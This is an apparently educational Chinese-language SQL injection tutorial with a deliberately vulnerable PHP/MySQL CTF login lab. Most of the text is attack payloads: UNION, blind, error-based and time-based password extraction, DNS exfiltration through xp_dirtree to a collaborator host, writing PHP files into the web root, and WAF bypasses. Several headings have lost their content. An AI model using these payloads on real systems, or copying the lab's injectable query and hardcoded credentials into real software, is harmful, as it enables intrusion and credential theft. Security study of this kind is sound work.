「第一次接觸 SQL 語法的時候是攻擊資料庫的時候。」
不知道有多少人有這種經驗,第一次接觸 SQL 居然是這種情況,
首先我們要先知道 SQL 是什麼,
SQL 就是資料庫當中用來查詢資料的語言,
所謂資料庫就是存放資料的地方。
所謂資料庫的結構:
假設一個購物商場透過 URL 對伺服器請求,查詢類別為 Gifts
https://feifei.tw/products?category=Gifts
參數 category
的內容會傳到後端並進行 SQL語法的查詢
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
此 SQL 語法的內容為
products
category
欄位為 Gifts
released
發布狀態為 1 (已發布)SQL 註解為 --
我們可以嘗試將 AND released = 1
透過 --
註解
https://feifei.tw/products?category=Gifts'+OR+1=1--
SQL語法的查詢
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
不同資料庫的註解方法
假設一個可以利用帳號密碼登入的系統,輸入帳號密碼後 SQL 語句
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
小範例
SELECT name, description FROM products WHERE category = 'Gifts'
' UNION SELECT username, password FROM user --
union 這個指令可以執行多個額外的 select 查詢
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
union 的兩個關鍵
union 必須先確認以下兩點
利用 ORDER BY 直到發生錯誤
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
☘ Order by [欄位第幾列] 進行排列
利用 UNION SELECT 直到發生錯誤
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
☘ 利用 NULL 的原因為可轉換成每種常用的資料型態
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
' union SELECT username, password from users --
||
' UNION SELECT username || '~' || password FROM users --
結果如下
...
administrator~s3cure
wiener~peter
carlos~montoya
...
MYSQL 的空格要注意繞 WAF 要注意
資料庫系統軟體分成很多類型,每一種查詢的方法都不一樣
常見的資料庫類型:Microsoft, MySQL, Oracle, PostgreSQL
不同資料庫的查詢資料庫版本方法
banner
才能撈到資料' UNION SELECT BANNER,NULL FROM v$version--
--
這個註解要空白可是會被吃掉' UNION SELECT @@version, NULL -- #
select * from DUAL
★★★★★ MYSQL , MSSQL 適用
在 MySQL 當中有一個存放資料庫中繼資料的地方 information_schema
通常壞人會來透過 SQLi 的弱點來這裡取得資料庫名稱、資料表名稱和欄位名稱,進而竊取到敏感的資料與中繼資料的地方。
table_schema
這個欄位就相對於 schema_name
☘ 也可以直接 SELECT table_name FROM information_schema.tables
找所有的資料表名稱(但是會因為資料表名稱太多會找不到想要的),然後再找欄位最後找到資料
★★★★★ ORACLE 適用
不同資料庫的查詢中繼資料的方法
當網站有 SQL injection 漏洞,但 HTTP 回應不包含相關 SQL 查詢的結果或任何資料庫錯誤的詳細訊息時,就會出現盲 SQL 注入。而現實世界中有 SQLI injection 的漏洞地方,通常不會有如同前面的 LAB 回傳想要的資料或是有 SQL 錯誤訊息。
由於存在盲 SQL 注入漏洞,許多技術(例如UNION攻擊)無效,因為它們依賴於能夠在網站的回應中查看注入查詢的結果。仍然有可能利用盲目SQL注入來存取未經授權的資料,但是必須使用不同的技術。
不同資料庫的字串切割的方法
舉個 ? :
有一個透過 Cookie 來收集有關使用者使用狀況的網站。
Cookie:TrackingId = asdfghjk123456
當伺服器收到 TrackingId 時,會從對應記錄中的 TrackedUsers ,查詢是否為已知使用者,但是查詢結果並不會回傳給使用者,但是仍可經由前端頁面顯示資料不同,推測查詢結果,因此遇到該情況需要仔細觀察不同。
假設該網站當查詢結果為已知使用者時,於前端頁面會顯示「Welcome back」。
那以下就舉一個測試差異來判斷是否有弱點:
測試1:
TrackingId = x' UNION SELECT 'a' WHERE 1=1--
因 1 等於 1,會回傳 true,因此可於前端看到「Welcome back」。
測試2:
TrackingId = x' UNION SELECT 'a' WHERE 1=2--
因 1 不等於 2,會回傳 false,因此無法於前端看到「Welcome back」。
透過相同方式測試帳號 Administrator
是否存在
TrackingId = x' UNION SELECT 'a' FROM users WHERE username='administrator'--
☘ 那確定該參數有弱點時,當有帳號時就可以利用於測試密碼
當已知登入帳號時,可以藉由回傳之 true 或 false 將一個字元一個字元的將完整的密碼測試出來。這裡的例子就要搭配函數 SUBTRING (部分類型的資料庫中函數名為 SUBSTR )
TrackingId = x' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm' --
當密碼的第一個位元為「s」時,因 ascii 大於 m ,因此會顯示 true,因此可於前端看到「Welcome back」。
TrackingId = x' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 't' --
當密碼的第一個位元為「s」時,因 ascii 小於 t ,因此會顯示 false,因此無法於前端看到「Welcome back」。
結合上述兩個測試,就可以進行最後一個測試:
TrackingId = x' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) = 's' --
當回傳為true時(可以看到Welcome back),確定密碼的第一個字元為「s」,以此類推測試第二個位元(SUBSTRING(Password, 2, 1)
)。
⚡ 前一個例子是前端會因查詢結果透漏一些訊息差異來讓使用者知道是否有查詢成功,但假設今天的情況是不會有差異呢?
這時候就要藉由輸入一些有條件( case )的差異,以布林條件的不同來影響 SQL 的回傳誘發產生資料庫錯誤訊息( "Internal Server Error" )。
以前一個例子相同假設存取網站之 Cookie 可以發現傳送參數 TrackingId 給伺服器:
TrackingId = x'UNION SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END--
以此例子因 1不等於2 則執行 NULL,不造成任何錯誤。
TrackingId = x'UNION SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END--
但該例子因 1 等於 1 所以執行 1/0 ,又因 1/0 會導致資料庫產生錯誤訊息,因而可以使用此差異來判斷注入的條件是否為true。假設我們將該弱點用於已知長帳號 Administrator,預測試出完整密碼上,測試流程一樣也是一個字元一個字元的密碼測試。
TrackingId = x'union select case when (username = 'Administrator' and SUBSTRING(password, 1, 1) > 'm') then 1/0 else null end from users--
Boolean Based SQL Injection
如果打 Sqli 的時候,不會出現資料,但是會出現不存在或是噴錯或是全空白的情形
你可以很明確的看出來你打的弱點有正確跟錯誤的頁面
這時候你可以一些方法來檢測
利用二分搜尋法找 ascii 的範圍
假設猜測資料庫的版本為5
0' and substring(version(),1,1)=5--
SELECT * FROM name WHERE ID='0' and substring(version(), 1,1)=5-- ' LIMIT 0,1;
猜測主版本為 6
0' and substring(version(),1,1)=6--
SELECT * FROM name WHERE ID='0' and substring(version(), 1,1)=6-- ' LIMIT 0,1;
透過這種方式去進行猜測
⚡ 前一個例子透過錯誤條件才達到目的,假設今天網站工程師有處理資料庫的錯誤訊息,讓我們輸入的條件無法達到目的。
那我們可以透過 delays 來查看輸入的條件是否服務:
以 Microsoft SQL Server 為例:
'; IF (1=2) WAITFOR DELAY '0:0:10'--
因為不符合,所以不會延遲,可以透過回應時間來判別。
'; IF (1=1) WAITFOR DELAY '0:0:10'--
因為符合,所以會觸發延遲。
透過延遲來找尋密碼
'; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
☘SQL有很多觸發時間延遲的方法,也取決於不同類型的資料庫。
? 假設網站執行相同的 SQL 查詢,但是異步進行,網站繼續在原始線程中處理使用者的請求,並使用另一個線程使用追蹤 cookie 執行 SQL 查詢。
該查詢仍然容易受到 SQL 注入的攻擊,但是到目前為止,以上的弱點可能都沒有用❌:網站的回應不取決於查詢是否回傳任何數據,資料庫是否發生錯誤或執行查詢所花費的時間。
可以透過觸發與弱點網站的 out-of-band 交互來利用 SQL injection。
如前所述,可以根據注入的條件條件地觸發這些操作,以一次推斷一位資料。
或是可以直接在網絡交互本身中取得敏感資料。
許多網絡協定都可以使用,但是最有效的通常是DNS(域名服務)。因為很多網站的環境都允許DNS查詢自由發出,這個功能它們對於測試系統的正常運行至關重要。
使用帶外技術的最簡單,最可靠的方法是使用Burp Collaborator。
一台burpsuit 提供的功能,提供一台伺服器,提供各種網絡服務(包括 DNS)的自定義實現,並允許您檢測由於將單個有效負載發送給易受攻擊的應用程序而導致何時發生網絡交互。Burp Suite Professional內置對Burp Collaborator的支持,無需進行設定。
觸發DNS查詢的技術與所使用的資料庫類型高度相關。在Microsoft SQL Server上,可以使用類似以下的輸入來在指定域上引起DNS查找:
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
這將導致資料庫對以下域執行查找:
0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net
透過 DNS來偷走數據
DNS原理
首先使用者通過自己架設的DNS伺服器查詢域名,如果沒查詢到,就向上一層的DNS伺服器查詢,上一層的DNS伺服器回傳查詢到的DNS伺服器的地址,然後向 DNS 伺服器查詢子域名,最終回傳子域名的IP地址
https://www.tarlogic.com/en/blog/arecibo-exfiltration-tool/
'
並找錯誤或其他異常。String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();
1 union select 1,2,3,4,5,"<? phpinfo(); ?>" into outfile "/var/www/html/test.php"
1 into outfile '/var/www/html/test.php" fields terminated by "<? phpinfo(); ?>"
union all select 1,2,3,4,load_file("c:/windows/system32/drivers/etc/hosts"),6
/?id=1+un/**/ion+sel/**/ect+1,2,3--
+UnIOn%0d%0aSeleCt%0d%0a
/?id=(1)or(0x50=0x50)
concat(0x223e,@@version)
server
資料夾
config.php
用來跟資料庫連線
<?php
$db_server = "dbtesst";
$db_user = "root";
$db_password = "AYgSMEucvEhpKzkchF5hRgd5vhnDyexY";
$db_name = "test";
$pdo = new PDO("mysql:host=$db_server;dbname=$db_name;charset=utf8mb4",$db_user,$db_password);
?>
index.php
登入口
<form method="POST" action="login.php">
<input id="username" placeholder="Username" required="" autofocus="" type="text" name="username">
<input id="password" placeholder="Password" required="" type="password" name="password">
<button type="submit">登入</button>
</form>
login.php
登入邏輯
<?php
$flag = "CTF{Meowmeow}";
if( !isset($_POST['username']) || !isset($_POST['password']) || $_POST['username']=="" || $_POST['password']=="" ){
header("Location: index.php");
}
$username = $_POST['username'];
$password = sha1($_POST['password']);
require_once('config.php');
$sql = "SELECT * FROM `users` WHERE `username` = '$username' and `password` = '$password';";
$stmt = $pdo->query($sql);
$success = count($stmt->fetchAll()) > 0;
$text = "";
$success ? $text = $flag : $text = "登入失敗";
echo $text;
?>
db
資料夾
db.sql
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+08:00";
CREATE TABLE `users` (
`id` int(11) NOT NULL auto_increment,
`username` varchar(64) NOT NULL,
`password` varchar(64) NOT NULL,
PRIMARY KEY (id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
INSERT INTO `users` (`id`, `username`, `password`) VALUES ("1", "nuty", "006f9a5cf5441f870b1a8162ae22a224954593fe");
INSERT INTO `users` (`id`, `username`, `password`) VALUES ("2", "nqgr", "c15f9bd9f6a3c861d33ec3f9438fcda226b1c60e");
INSERT INTO `users` (`id`, `username`, `password`) VALUES ("3", "ombz", "d79cfc4e59227a39f822ddb78df646ba9956921d");
INSERT INTO `users` (`id`, `username`, `password`) VALUES ("4", "pgid", "e62729cb639d51be23dc8af9f3a4a3d88f6fc3ff");
INSERT INTO `users` (`id`, `username`, `password`) VALUES ("5", "fsfw", "54bab02c812928ce5ab1beb02c95514b87508449");
docker-compose.yml
version: "2"
services:
web:
image: php:7-apache
ports:
- "8001:80"
volumes:
- ./server:/var/www/html/
links:
- db
networks:
- default
db:
image: mysql:5.7
environment:
MYSQL_DATABASE: dbtest
MYSQL_ROOT_PASSWORD: AYgSMEucvEhpKzkchF5hRgd5vhnDyexY
volumes:
- ./db:/docker-entrypoint-initdb.d
- persistent:/var/lib/mysql
networks:
- default